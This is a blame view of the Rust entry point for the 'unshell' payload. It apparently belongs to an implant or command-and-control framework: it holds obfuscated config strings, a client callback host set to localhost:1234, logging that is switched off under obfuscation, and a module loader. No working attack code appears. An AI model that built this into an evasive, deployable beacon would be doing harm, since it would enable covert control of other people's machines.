Files
unshell/unshell-payload/src/main.rs
T

77 lines
1.9 KiB
Rust
Raw Normal View History

use std::{any::Any, collections::HashMap, fs::File, io::Read};
2025-11-13 11:52:01 -07:00
use static_init::dynamic;
use unshell_lib::{
ModuleError,
config::{PayloadConfig, RuntimeConfig},
module::{Manager, Module},
};
2025-11-13 11:52:01 -07:00
use unshell_obfuscate::{obs, symbol};
2025-11-06 00:01:46 -07:00
2025-11-05 22:59:01 -07:00
#[macro_use]
2025-11-09 12:34:52 -07:00
extern crate unshell_lib;
2025-11-05 15:17:31 -07:00
2025-11-24 08:45:44 -07:00
// The main and initial 'configuration' for a payload
#[dynamic]
static PAYLOAD_CONFIG: PayloadConfig = PayloadConfig {
id: symbol!("Test ID"),
components: Vec::new(),
runtime_config: vec![RuntimeConfig {
parent_component: symbol!("client").to_string(),
name: symbol!("client runtime").to_string(),
2025-11-25 15:22:14 -07:00
config: HashMap::from([
(symbol!("host").to_string(), obs!("localhost:1234")),
(symbol!("retry").to_string(), obs!("1000")),
]),
}],
};
2025-11-05 22:59:01 -07:00
fn main() {
2025-11-24 08:45:44 -07:00
// Init the logger
2025-11-14 09:43:41 -07:00
#[cfg(not(feature = "obfuscate"))]
2025-11-09 12:34:52 -07:00
unshell_lib::logger::PrettyLogger::init();
2025-11-05 15:17:31 -07:00
2025-11-11 11:00:28 -07:00
debug!("Initialized");
2025-11-05 15:17:31 -07:00
match run() {
Ok(_) => {}
Err(e) => {
error!("ERROR! '{:?}'", e);
}
}
}
2025-11-06 00:01:46 -07:00
fn run() -> Result<(), Box<dyn std::error::Error>> {
let args = std::env::args();
2025-11-24 13:13:06 -07:00
// TEMPORARY, load the module paths from command line args.
let mut modules = Vec::new();
for arg in args.skip(1) {
// debug!("Loading module: {}", arg);
2025-11-24 13:13:06 -07:00
// let mut file = File::open(arg).map_err(|e| ModuleError::Error(e.to_string().into()))?;
// let mut buffer = Vec::new();
// file.read_to_end(&mut buffer)
// .map_err(|e| ModuleError::Error(e.to_string().into()))?;
2025-11-24 13:13:06 -07:00
debug!("Initializing module: {}", arg);
let module = Module::new(&arg)?;
modules.push(module);
// modules.push(Module::new(&arg)?)
}
// let modules = vec
2025-11-05 22:59:01 -07:00
debug!("Starting manager...");
// Run the manager, this is blocking.
let manager = Manager::start(&PAYLOAD_CONFIG, modules);
Manager::join(manager);
Ok(())
2025-11-05 15:17:31 -07:00
}